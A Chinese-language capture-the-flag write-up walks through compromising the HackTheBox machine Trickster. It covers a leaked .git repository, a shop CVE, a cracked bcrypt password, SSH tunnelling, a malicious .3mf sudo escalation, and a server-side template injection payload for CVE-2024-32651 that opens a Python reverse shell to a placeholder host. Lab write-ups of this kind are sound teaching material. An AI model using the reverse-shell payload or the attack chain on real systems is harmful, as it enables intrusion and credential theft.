信息搜集

HTB靶机经典思路,爆破子域名,目录扫描,敏感文件扫描,以及查看所有跳转页面。

发现shop.trickster.htb​,且该页面存在.git​泄露(这个感觉见的确实不多:

img

使用GitHack-master​拉取下来,得到后台路径:

image-20241018132853-b96irsy.png

获取凭证

访问之,发现服务版本号:

image-20241018132926-x8mt1g3.png

存在CVE:

image-20241018133307-b9aardl.png

可获得www-data​权限,接下来就是搜寻用户凭证环节,在parameters.php​里可以找到数据库密码,数据库里的ps_employee​表里则存在着james​用户的密码哈希,hashcat​ 选3200(3200 | bcrypt $2*$, Blowfish (Unix)​),获得密码alwaysandforever​。

登录后得到user.txt​,用户flag。

提权

本机有运行docker​,扫描发现5000​端口开启,ssh穿透出来:

ssh -v -N -L 5000:172.17.0.2:5000 [email protected]

image-20241018133912-scqyhd8.png

发现服务,使用james用户密码可以登录,同时存在漏洞CVE-2024-32651,python SSTI,侦测到目标页面发生变化时触发,此处写入shell:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}

等待写好的时间即可获得shell。

/datastore​目录下有Backup​文件夹,里面是历史的备份文件,因为docker有python服务,所以起一个http服务将文件下载到本地:

# 启动服务器
python -m http.server --bind 0.0.0.0 5001
# 穿透
ssh -v -N -L 5001:172.17.0.2:5001 [email protected]

历史文件里存在.txt.br​文件,.br属于brotli​压缩,python可以导入库并解压:

import os

import brotli

files = os.listdir("./tar")

for file in files:
    with open("./tar/"+file, "rb") as f_in:
        decompressed_data = brotli.decompress(f_in.read())
        with open(file[:-3], "wb") as f_out:
            f_out.write(decompressed_data)

在其中一个文件内找到了adam用户凭证:

image-20241018134354-ne9elz8.png

登录adam用户后,sudo -l​发现其可以sudo​运行/opt/PrusaSlicer​下的PrusaSlicer​程序,查询得知该程序具有命令执行的漏洞。

根据漏洞说明构造恶意.3mf​文件(文件是网上找的):

image-20241018134537-z74bewf.png

上传到/tmp​目录并sudo​执行即可。

image-20241018134605-5tswwrb.png

后注

这个靶机在十月份左右更新了一次,原来看大伙好像是进入docker后history​命令拿到root密码,更新后不可以了,需要切换用户然后免密码sudo​。

最后修改:2025 年 01 月 03 日
如果觉得我的文章对你有用,请随意赞赏